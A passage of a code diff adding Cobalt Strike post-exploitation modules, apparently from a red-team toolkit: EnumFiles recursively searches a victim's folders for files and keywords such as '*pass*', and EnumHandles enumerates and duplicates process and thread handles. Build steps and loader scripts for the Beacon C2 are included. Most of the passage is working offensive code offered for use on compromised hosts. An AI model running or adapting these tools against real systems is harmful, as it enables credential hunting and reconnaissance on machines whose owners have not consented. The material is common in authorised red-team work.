+    return false;
+}
+
+
+
+bool SearchFileForKeyword(const char* filePath, const char* keyword) {
+    FILE *file = MSVCRT$fopen(filePath, "rb");  
+    if (!file) {
+        BeaconPrintf(CALLBACK_ERROR, "Failed to open file: %s\n", filePath);
+        return false;
+    }
+
+    MSVCRT$fseek(file, 0, SEEK_END);
+    long fileSize = MSVCRT$ftell(file);
+    MSVCRT$fseek(file, 0, SEEK_SET);
+
+    char* fileContents = (char*)MSVCRT$malloc(fileSize + 1); 
+    if(!fileContents) {
+        BeaconPrintf(CALLBACK_ERROR, "Failed to allocate memory for file: %s\n", filePath);
+        MSVCRT$fclose(file);
+        return false;
+    }
+    
+    MSVCRT$fread(fileContents, 1, fileSize, file);
+    fileContents[fileSize] = '\0';  
+    MSVCRT$fclose(file);
+
+    // Convert file contents to lowercase
+    for (long i = 0; i < fileSize; i++) {
+        fileContents[i] = MSVCRT$tolower(fileContents[i]);
+    }
+
+    // Convert keyword to lowercase
+    char* lowerKeyword = MSVCRT$_strdup(keyword);
+    if (!lowerKeyword) {
+        MSVCRT$free(fileContents);
+        return false;
+    }
+    for (int i = 0; lowerKeyword[i]; i++) {
+        lowerKeyword[i] = MSVCRT$tolower(lowerKeyword[i]);
+    }
+	
+	//match line with keyword and return pattern if true
+	char* line = MSVCRT$strtok(fileContents, "\n");
+	bool found = false;
+	bool firstPrint = true;
+	char preview[MAX_PREVIEW_LENGTH + 1]; 
+
+	while (line) {
+		if (keywordMatches(line, lowerKeyword)) {
+			found = true;
+			int lineLength = MSVCRT$strlen(line);
+	
+			if (lineLength > MAX_PREVIEW_LENGTH) {
+				MSVCRT$strncpy(preview, line, MAX_PREVIEW_LENGTH);
+				preview[MAX_PREVIEW_LENGTH] = '\0'; 
+			} else {
+				MSVCRT$strcpy(preview, line);
+			}
+			if (firstPrint) {
+				internal_printf("\n[+] Keyword '%s' found in file: %s\n", keyword, filePath);
+				firstPrint = false;
+			}
+			internal_printf("\t- Matched on pattern: %s\n", preview);
+			// break; // Uncomment to stop after the first match
+		}
+		line = MSVCRT$strtok(NULL, "\n");
+	}
+
+    MSVCRT$free(fileContents);
+    MSVCRT$free(lowerKeyword);
+	
+    return found;
+}
+
+
+void SearchFilesRecursive(const char* lpFolder, const char* lpSearchPattern, const char* keyword) {
+    WIN32_FIND_DATAA findFileData;
+    HANDLE hFind = INVALID_HANDLE_VALUE;
+    char szDir[MAX_PATH];
+    DWORD dwError;
+
+    // Build search path for files in the current directory
+    MSVCRT$strcpy(szDir, lpFolder);
+    MSVCRT$strcat(szDir, "\\");
+    MSVCRT$strcat(szDir, lpSearchPattern);
+	
+	// Search for files
+    hFind = KERNEL32$FindFirstFileA(szDir, &findFileData);
+    if (hFind != INVALID_HANDLE_VALUE) {
+        do {
+			if (!(findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
+				char fullPath[MAX_PATH];
+				MSVCRT$sprintf(fullPath, "%s\\%s", lpFolder, findFileData.cFileName);
+				
+				if (*keyword) { 
+				    SearchFileForKeyword(fullPath, keyword); 
+				} else if (!*keyword) {
+					internal_printf("[+] File found: %s\n", fullPath);
+				}
+			}
+		} while (KERNEL32$FindNextFileA(hFind, &findFileData) != 0);
+		
+		dwError = KERNEL32$GetLastError();
+		if (dwError != ERROR_NO_MORE_FILES) {
+			BeaconPrintf(CALLBACK_ERROR, "Error searching for next file: %d\n", dwError);
+		}
+		KERNEL32$FindClose(hFind);
+	}
+	
+	//search for subdirectories and recurse into them
+    MSVCRT$strcpy(szDir, lpFolder);
+    MSVCRT$strcat(szDir, "\\*");
+
+    hFind = KERNEL32$FindFirstFileA(szDir, &findFileData);
+    if (hFind != INVALID_HANDLE_VALUE) {
+        do {
+            if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
+                MSVCRT$strcmp(findFileData.cFileName, ".") != 0 && 
+                MSVCRT$strcmp(findFileData.cFileName, "..") != 0) {
+				
+				// Build path for the subdirectory
+                char subDir[MAX_PATH];
+                MSVCRT$strcpy(subDir, lpFolder);
+                MSVCRT$strcat(subDir, "\\");
+                MSVCRT$strcat(subDir, findFileData.cFileName);
+
+                SearchFilesRecursive(subDir, lpSearchPattern, keyword);
+            }
+        } while (KERNEL32$FindNextFileA(hFind, &findFileData) != 0);
+		
+        dwError = KERNEL32$GetLastError();
+        if (dwError != ERROR_NO_MORE_FILES) {
+            BeaconPrintf(CALLBACK_ERROR, "Error searching for next file: %d\n", dwError);
+        }
+		KERNEL32$FindClose(hFind);
+    }
+}
+
+
+int go(char *args, int len) {
+	datap parser;
+    CHAR *lpDirectory = "";
+    CHAR *lpSearchPattern = "";
+    CHAR *keyword = ""; // If not empty, SearchFileForKeyword is called to verify if the keyword is in the text file
+
+	BeaconDataParse(&parser, args, len);
+	lpDirectory = BeaconDataExtract(&parser, NULL);
+	lpSearchPattern = BeaconDataExtract(&parser, NULL);
+	keyword = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
+	
+	internal_printf("====================FILE SEARCH RESULTS====================\n");
+	
+    SearchFilesRecursive(lpDirectory, lpSearchPattern, keyword);
+	
+	printoutput(TRUE);
+	BeaconPrintf(CALLBACK_OUTPUT, "[+] Finished searching!\n");
+
+    return 0;
+}
+
+
+		
+		

+ 39 - 0
KIT/EnumFiles/enumfiles.cna

@@ -0,0 +1,39 @@
+# author REDMED-X
+
+beacon_command_register(
+    "enumfiles", "Search for matching files based on a word, extention or keyword.",
+    "INFO:\nSearch for matching files based on a word, extention or keyword in the file content. Wildcards are supported . Keyword matching only works for text based files.\n\n" .
+	"ARGUMENTS:\n[<path to directory>]: specify a path to the directory from which to start searching (recursive searching supported).\n[<search pattern>]: specify a single word or extention to search for (support wildcards).\n[<keyword>]: leave empty OR specify a keyword to search for in text based files (support wildcards).\n\n" .
+	"USAGE:\nenumfiles <path to directory> <search pattern> <(optional) keyword> \n\n" .
+	"EXAMPLES:\nenumfiles C:\\Users\\RTO\\Documents *.xlsx\nenumfiles C:\\Users\\RTO *login*.* username\nenumfiles C:\\Users\\RTO *.txt *pass*\n\n");
+
+
+alias enumfiles {
+    $bid = $1;
+	$lpDirectory = $2;
+    $lpSearchPattern = $3;
+    $keyword = $4;
+
+    if ($lpDirectory eq "") {
+        berror($bid, "Please specify a path to a directory.\n");
+        return;
+    }
+
+    if ($lpSearchPattern eq "") {
+        berror($bid, "Please specify a pattern/word to search for.\n");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("enumfiles.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "zzz", $lpDirectory, $lpSearchPattern, $keyword);
+
+    blog($bid, "Tasked to search for matching files..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 38 - 0
KIT/EnumFiles/enumfiles.h

@@ -0,0 +1,38 @@
+#include <windows.h>  
+
+//SearchFileForKeyword + keywordMatches
+WINBASEAPI int WINAPI MSVCRT$strcmp(const char* str1, const char* str2);
+WINBASEAPI FILE* WINAPI MSVCRT$fopen(const char* filename, const char* mode);
+WINBASEAPI int __cdecl MSVCRT$fseek(FILE *_File, long _Offset, int _Origin);
+WINBASEAPI long __cdecl MSVCRT$ftell(FILE *_File);
+WINBASEAPI size_t __cdecl MSVCRT$fread(void * _DstBuf, size_t _ElementSize, size_t _Count, FILE * _File);
+WINBASEAPI int __cdecl MSVCRT$fclose(FILE *_File);
+WINBASEAPI char* WINAPI MSVCRT$strstr(const char* haystack, const char* needle);
+WINBASEAPI void *__cdecl MSVCRT$malloc(size_t _Size);
+//WINBASEAPI void __cdecl MSVCRT$free(void *_Memory);
+WINBASEAPI char* WINAPI MSVCRT$_strdup(const char* str);
+WINBASEAPI int WINAPI MSVCRT$tolower(int c);
+WINBASEAPI size_t WINAPI MSVCRT$strlen(const char* str);
+WINBASEAPI int WINAPI MSVCRT$strncmp(const char* str1, const char* str2, size_t n);
+WINBASEAPI char* WINAPI MSVCRT$strncpy(char* dest, const char* src, size_t n);
+DECLSPEC_IMPORT char* WINAPI MSVCRT$strtok(char* str, const char* delimiters);
+
+//SearchFilesRecursive
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$FindClose(HANDLE hFindFile);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+WINBASEAPI char* WINAPI MSVCRT$strcpy(char* dest, const char* src);
+WINBASEAPI char* WINAPI MSVCRT$strcat(char* dest, const char* src);
+WINBASEAPI int WINAPI MSVCRT$sprintf(char* buffer, const char* format, ...);
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/EnumFiles/enumfiles.o


+ 26 - 0
KIT/EnumHandles/README.md

@@ -0,0 +1,26 @@
+# EnumHandles
+Enumerate `process` and `thread` handle types between processes.
+
+## Options
+**Search options:**
+* `all`: list all processes with handles to all other processes.
+* `h2p`: list all processes that have a handle to a specific process.
+* `p2h`: list handles from a specific process to all other processes.
+
+**Handle query options:**
+* `proc`: search for PROCESS type handles.
+* `thread`: search for THREAD type handles.
+
+**Targeted search options:**
+* `<pid>`: for both the `h2p` and `p2h` search options, specify the PID of the process your interested in.
+
+## Usage
+* `enumhandles all <proc | thread>`
+* `enumhandles h2p <proc | thread> <pid>`
+* `enumhandles p2h <proc | thread> <pid>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/EnumHandles/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/EnumHandles/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc enumhandles.c
+move /y enumhandles.obj enumhandles.o
+

+ 255 - 0
KIT/EnumHandles/enumhandles.c

@@ -0,0 +1,255 @@
+#include <windows.h>
+#include <stdio.h>
+#include <shlwapi.h>
+#include <Psapi.h>
+#include "enumhandles.h"
+#include "beacon.h"
+
+#pragma comment(lib, "shlwapi")
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+
+BOOL GetHandles(int basePid, const BYTE flags, int targetPid) {
+
+	NTSTATUS status;
+    PSYSTEM_HANDLE_INFORMATION handleInfo;
+    ULONG handleInfoSize = 0x10000;
+    HANDLE processHandle;
+    ULONG i;
+	char procHostName[MAX_PATH];
+	BOOL foundHandle = FALSE;
+	
+	
+	if (flags == QUERY_PROC) internal_printf("[+] PROCESS HANDLE RESULTS\n==========================================");
+	else internal_printf("[+] THREAD HANDLE RESULTS\n==========================================");
+	
+	
+    NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
+    NtDuplicateObject_t pNtDuplicateObject = (NtDuplicateObject_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtDuplicateObject");
+    NtQueryObject_t pNtQueryObject = (NtQueryObject_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryObject");
+
+	WCHAR Filter[100];
+	switch(flags) {
+		case QUERY_PROC:	MSVCRT$swprintf_s(Filter, 50, L"%s", L"Process"); break;
+		default:			MSVCRT$swprintf_s(Filter, 50, L"%s", L"Thread"); break;
+	}
+
+    handleInfo = (PSYSTEM_HANDLE_INFORMATION) MSVCRT$malloc(handleInfoSize);
+    while ((status = pNtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
+			handleInfo = (PSYSTEM_HANDLE_INFORMATION)MSVCRT$realloc(handleInfo, handleInfoSize *= 2);
+ 
+    if (status != 0) {
+        BeaconPrintf(CALLBACK_ERROR, "Failed to retrieve process information!\n");
+        return 1;
+    }
+	
+    for (i = 0 ; i < handleInfo->NumberOfHandles ; i++) {
+        SYSTEM_HANDLE_TABLE_ENTRY_INFO objHandle = handleInfo->Handles[i];
+		
+        HANDLE dupHandle = NULL;
+        POBJECT_TYPE_INFORMATION objectTypeInfo;
+        PVOID objectNameInfo;
+        UNICODE_STRING objectName;
+        ULONG returnLength;
+		
+		if(objHandle.UniqueProcessId == 4) continue;
+		
+        if ((basePid != 0) && (objHandle.UniqueProcessId != basePid)) continue;
+		
+		if (objHandle.UniqueProcessId == KERNEL32$GetCurrentProcessId()) continue;
+ 
+ 
+		if (!(processHandle = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, objHandle.UniqueProcessId))) {
+			continue;
+		}
+ 
+		KERNEL32$K32GetProcessImageFileNameA(processHandle, procHostName, MAX_PATH);
+		
+        if (!NT_SUCCESS(pNtDuplicateObject(processHandle, (void *) objHandle.HandleValue, KERNEL32$GetCurrentProcess(), &dupHandle, 0, 0, DUPLICATE_SAME_ACCESS))) {
+            continue;
+        }
+ 
+        objectTypeInfo = (POBJECT_TYPE_INFORMATION) MSVCRT$malloc(0x1000);
+        if (!NT_SUCCESS(pNtQueryObject(dupHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL))) {
+            KERNEL32$CloseHandle(dupHandle);
+            continue;
+        }
+	
+		if (!SHLWAPI$StrStrIW(Filter, objectTypeInfo->Name.Buffer)) {
+			MSVCRT$free(objectTypeInfo);
+            KERNEL32$CloseHandle(dupHandle);
+			continue;
+		}
+		
+        objectNameInfo = MSVCRT$malloc(0x1000);
+        objectName = *(PUNICODE_STRING) objectNameInfo;
+		
+		int procID = 0;
+		if (flags == QUERY_PROC) procID = KERNEL32$GetProcessId(dupHandle);
+		if (flags == QUERY_THREAD) procID = KERNEL32$GetProcessIdOfThread(dupHandle);
+
+		char procNameTemp[MAX_PATH];
+		if (procID != 0) {
+			if (flags == QUERY_THREAD) {
+				HANDLE pH = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, procID);
+				if (pH) KERNEL32$K32GetProcessImageFileNameA(pH, procNameTemp, MAX_PATH);
+				else MSVCRT$sprintf_s(procNameTemp, MAX_PATH, "%s", "non existent?");
+				KERNEL32$CloseHandle(pH);
+			}
+			else {
+				KERNEL32$K32GetProcessImageFileNameA(dupHandle, procNameTemp, MAX_PATH);
+			}
+		}
+		
+		if (targetPid != 0 && targetPid != procID) {
+			MSVCRT$free(objectTypeInfo);
+			MSVCRT$free(objectNameInfo);
+			KERNEL32$CloseHandle(dupHandle);
+			continue;
+		}
+		
+		if(procID != 0 && objHandle.UniqueProcessId != procID) {
+			internal_printf("\nHandle from:\t%s [%d]\nHandle to:\t%s [%d]\nHandle object:\t%#x\nAccess rights:\t%#x\n", 
+				procHostName,
+				KERNEL32$GetProcessId(processHandle),
+				procNameTemp,
+				procID,
+				objHandle.HandleValue,
+				objHandle.GrantedAccess); //https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
+			
+			foundHandle = TRUE;
+		}
+
+        MSVCRT$free(objectTypeInfo);
+        MSVCRT$free(objectNameInfo);
+        KERNEL32$CloseHandle(dupHandle);
+    }
+ 
+    MSVCRT$free(handleInfo);
+    KERNEL32$CloseHandle(processHandle);
+	
+	return foundHandle;
+}
+
+
+int go(char *args, int len) {
+	int basePid = 0;
+	int targetPid = 0;
+	BYTE flags;
+	CHAR *search;
+	CHAR *query;
+	BOOL res = NULL;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	search = BeaconDataExtract(&parser, NULL);
+	query = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
+
+	if (MSVCRT$strcmp(query, "proc") == 0) flags = QUERY_PROC;
+	else if (MSVCRT$strcmp(query, "thread") == 0) flags = QUERY_THREAD;
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "Please specify either proc (PROCESS_HANDLE) or 2 (THREAD_HANDLE) as handle search options.\n");
+		return 0;
+	}
+	
+	if (MSVCRT$strcmp(search, "all") == 0) {
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating all processes with handles to all other processes\n");
+		res = GetHandles(0, flags, 0);
+	}
+	else if (MSVCRT$strcmp(search, "h2p") == 0) {
+		targetPid = BeaconDataInt(&parser);
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating all processes that have a handle to PID: [%d]\n", targetPid);
+		res = GetHandles(0, flags, targetPid);
+	}
+	else if (MSVCRT$strcmp(search, "p2h") == 0) {
+		basePid = BeaconDataInt(&parser);
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating handles from PID [%d] to all other processes\n", basePid);
+		res = GetHandles(basePid, flags, 0);
+	}
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following process search options: ht | h2p | p2h\n");
+		return 0;
+	}
+	
+	if(!res) BeaconPrintf(CALLBACK_ERROR, "No handle found for this search query!\n");
+	else  {
+		printoutput(TRUE);
+	}
+
+    return 0;
+}
+
+

+ 62 - 0
KIT/EnumHandles/enumhandles.cna

@@ -0,0 +1,62 @@
+# author REDMED-X
+
+beacon_command_register(
+    "enumhandles", "Find process and thread handle types between processes.",
+    "INFO:\nFind process and thread handle types between processes.\n\nOPTIONS:\n[all]: list all processes with handles to all other processes\n[h2p]: list all processes that have a handle to a specific process\n[p2h]: list handles from a specific process to all other processes\n\nHandle Query Options:\n[proc]: search for PROCESS type handles\n[thread]: search for THREAD type handles\n\nTargeted Search Options:\n[<pid>]: for both the [h2p] and [p2h] search options, specify the PID of the process your interested in.\n\n" .
+    "USAGE:\nenumhandles all <proc | thread>\nenumhandles h2p <proc | thread> <pid>\nenumhandles p2h <proc | thread> <pid>\n\n");
+
+
+alias enumhandles {
+    $bid = $1;
+    $search = $2;
+    $query = $3;
+    $pid = $4;
+
+    if ($search eq "") {
+        berror($bid, "Please specify one of the following seach options: all | h2p | p2h\n");
+        return;
+    }
+
+    if ($search eq "all" || $search eq "h2p" || $search eq "p2h") {
+        if ($query eq "") {
+            berror($bid, "Please specify one of the following handle types to search for: proc | thread\n");
+            return;
+        }
+        if ($query eq "proc" || $query eq "thread") {
+            if ($search eq "h2p" && $pid eq "" ) {
+                berror($bid, "Please specify the pid to target a specific process.\n");
+                return;
+            }
+            if ($search eq "p2h" && $pid eq "" ) {
+                berror($bid, "Please specify the pid to target a specific process.\n");
+                return;
+            }
+        }
+        else {
+            berror($bid, "This handle type isn't supported. Please specify one of the following handle types to search for: proc | thread\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "This option isn't supported. Please specify one of the following seach options: all | h2p | p2h\n");
+        return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("enumhandles.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    if ($pid eq "") {
+        $arg_data  = bof_pack($bid, "zz", $search, $query);
+    }
+    else {
+        $arg_data  = bof_pack($bid, "zzi", $search, $query, $pid);
+    }
+
+    blog($bid, "Tasked to enumerate handles..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 103 - 0
KIT/EnumHandles/enumhandles.h

@@ -0,0 +1,103 @@
+#include <windows.h>
+
+#define NT_SUCCESS(x) ((x) >= 0)
+#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
+ 
+#define SystemHandleInformation 16
+#define ObjectBasicInformation 0
+#define ObjectNameInformation 1
+#define ObjectTypeInformation 2
+ 
+#define QUERY_PROC		0x08
+#define QUERY_THREAD	0x10
+
+
+//GetHandles
+typedef NTSTATUS (NTAPI * NtQuerySystemInformation_t)(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
+typedef NTSTATUS (NTAPI * NtDuplicateObject_t)(HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options);
+typedef NTSTATUS (NTAPI * NtQueryObject_t)(HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
+WINBASEAPI void* __cdecl MSVCRT$malloc(size_t _Size);
+WINBASEAPI void* __cdecl MSVCRT$realloc(void* _Memory, size_t _NewSize);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetProcessImageFileNameA(HANDLE hProcess, LPSTR lpImageFileName, DWORD nSize);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess();
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcessId();
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$StrStrIW(LPCWSTR lpFirst, LPCWSTR lpSrch);
+DECLSPEC_IMPORT PCWSTR WINAPI SHLWAPI$StrStrIW(PCWSTR pszFirst, PCWSTR pszSrch);
+//WINBASEAPI void __cdecl MSVCRT$free(void* _Memory);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessIdOfThread(HANDLE Thread);
+WINBASEAPI int __cdecl MSVCRT$sprintf_s(char *_Dst,size_t _SizeInBytes,const char *_Format,...);
+WINBASEAPI int __cdecl MSVCRT$swprintf_s(wchar_t *_Dst,size_t _SizeInWords,const wchar_t *_Format,...);
+DECLSPEC_IMPORT LPCSTR WINAPI SHLWAPI$PathFindFileNameA(LPCSTR pszPath);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...); 
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+
+
+typedef struct _UNICODE_STRING {
+    USHORT Length;
+    USHORT MaximumLength;
+    PWSTR Buffer;
+} UNICODE_STRING, *PUNICODE_STRING;
+ 
+typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
+    USHORT UniqueProcessId;
+    USHORT CreatorBackTraceIndex;
+    UCHAR ObjectTypeIndex;
+    UCHAR HandleAttributes;
+    USHORT HandleValue;
+    PVOID Object;
+    ULONG GrantedAccess;
+} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
+ 
+typedef struct _SYSTEM_HANDLE_INFORMATION {
